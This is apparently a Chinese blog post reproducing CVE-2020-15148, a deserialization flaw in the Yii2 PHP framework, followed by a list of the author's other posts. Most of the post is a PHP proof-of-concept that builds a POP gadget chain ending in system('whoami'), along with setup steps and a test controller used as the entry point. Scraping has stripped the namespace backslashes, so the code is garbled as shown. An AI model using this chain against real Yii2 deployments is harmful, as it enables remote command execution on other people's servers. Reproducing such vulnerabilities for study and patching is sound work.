• Yii2反序列化(CVE-2020-15148)复现


    为了方便安装,直接在github(https://github.com/yiisoft/yii2)下载一个release的低版本,然后解压tgz文件到phpstudy的www的目录下,命名为Yii2:

     

    需要注意的是,php拓展需要勾选openssl,然后再执行php init安装Yii2,否则会报错,安装完成后访问一下,证明就安装成功了:

    POC:

    <?php
    namespace yiidb;
    class BatchQueryResult extends yiiaseBaseObject{
        private $_dataReader;
        public function __construct()
    {
            $this->_dataReader=new FakerGenerator();
        }
    }
    namespace yiiase;
    class BaseObject{
    }
    namespace yii
    est;
    class Action{
        public $checkAccess='system';
        public $id='whoami';
    }
    class IndexAction extends Action{
    }
    namespace Faker;
    class Generator{
        protected $formatters = array();
        public function __construct()
    {
            $this->formatters['close']=[(new yii
    estIndexAction()),"run"];
        }
    }
    use yiidbBatchQueryResult;
    $c=new BatchQueryResult();
    print(serialize($c));
    

      pop链师傅们已经分析好了,还需要自己构造一个反序列化的入口,在controllers下新建一个TestController.php:

     

    先测试下:

    然后发送payload:

     参考链接:

    https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA

    https://github.com/yiisoft/yii2/

     

  • 相关阅读:
    CentOS 网络配置
    BUUCTF-PWN爬坑-04-pwn1_sctf_2016
    BUUCTF-PWN爬坑-03-warmup_csaw_2016
    BUUCTF-PWN爬坑-02-rip
    此博客早八百年已停止维护
    重&长剖
    FHQ Treap
    NOIP2020游记
    CSP2020 游记
    线段树套平衡树
  • 原文地址:https://www.cnblogs.com/2rsh0u/p/13714923.html
Copyright © 2020-2023  润新知